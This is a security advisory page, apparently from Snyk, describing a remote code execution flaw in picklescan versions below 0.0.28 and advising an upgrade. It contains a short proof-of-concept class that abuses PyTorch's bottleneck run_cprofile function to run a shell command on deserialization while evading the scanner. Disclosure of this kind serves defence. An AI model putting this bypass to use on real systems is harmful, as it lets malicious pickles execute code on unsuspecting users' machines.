Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-12177789
  • published24 Aug 2025
  • disclosed22 Aug 2025
  • creditFredericDT

Introduced: 22 Aug 2025

New CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.28 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the bottleneck_main.run_cprofile function. An attacker can craft a malicious pickle file that leverages this function to bypass detection and trigger code execution upon deserialization by a user.

PoC

import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunCprofile:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_cprofile, (code, globs)

CVSS Base Scores

version 4.0
version 3.1